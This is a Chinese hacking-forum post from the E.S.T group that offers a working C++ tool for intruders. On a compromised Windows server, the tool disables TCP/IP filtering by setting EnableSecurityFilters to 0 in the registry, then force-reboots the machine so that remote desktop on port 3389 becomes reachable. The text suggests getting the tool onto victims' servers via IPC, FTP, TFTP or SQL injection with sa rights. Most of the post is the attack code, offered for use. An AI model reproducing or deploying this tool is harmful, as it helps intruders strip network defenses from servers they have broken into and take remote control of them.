文章来源:邪恶八进制 中国
文章作者:恶猫[E.S.T] (EvilCat[E.S.T])
在入侵的时候有时会遇到明明对方开放了类似于3389终端这样的端口,用终端连接器连接却连不上,说明对方可能做了TCP/IP筛选,大家都知道解除TCP/IP筛选的方法是修改注册表,在对方的shell中导出注册表然后修改,再将修改好的文件导入,然后还要重启对方,这样比较麻烦,不如写个程序,并将程序传入服务器,点击一下就一切OK了,也许这就是程序的好处吧。如何将这个小东西传入对方服务器方法比较多了,ipc,ftp,tftp,用bat还原等等,要是注入中sqlserver是sa权限那就更容易了呵呵。程序比较简单完全是为了方便而写的,在vc6.0下编译通过,2000 advance server sp4下测试通过。代码如下:
复制内容到剪贴板
代码:
/*++
Copyright (c) 2005 邪恶八进制 中国
Author:
恶猫[E.S.T] (EvilCat[E.S.T]) 4-3-2005
--*/
#include <windows.h>
#include <iostream.h>
void main(int argc, char* argv[])
{
HKEY hKey;
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId;
LUID luidPrivilegeLUID;
LPCTSTR key[] = {"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters",
"SYSTEM\\ControlSet001\\Services\\Tcpip\\Parameters",
"SYSTEM\\ControlSet002\\Services\\Tcpip\\Parameters"};
LPCTSTR name = "EnableSecurityFilters";
DWORD dwValue = 0;
for(int i = 0; i < 3; i++)
{
// Open key
if(::RegOpenKeyEx(HKEY_LOCAL_MACHINE,
key[i],
0,
KEY_SET_VALUE,
&hKey) == ERROR_SUCCESS)
{
// Set value
if(::RegSetValueEx(hKey,
name,
0,
REG_DWORD,
reinterpret_cast<BYTE *>(&dwValue),
sizeof(dwValue)) != ERROR_SUCCESS)
{
// Close key
::RegCloseKey(hKey);
// Error handling;
cout<<"Error Setting Register...\n";
return;
}
}
else
{
// Error handling;
cout<<"Error Opening Register...\n";
return;
}
}
ProcessId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)
||!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID))
{
cout<<"reboot system Error!\n";
return;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
ExitWindowsEx(EWX_FORCE | EWX_REBOOT, 0);
return;
}编译好的程序(未加壳)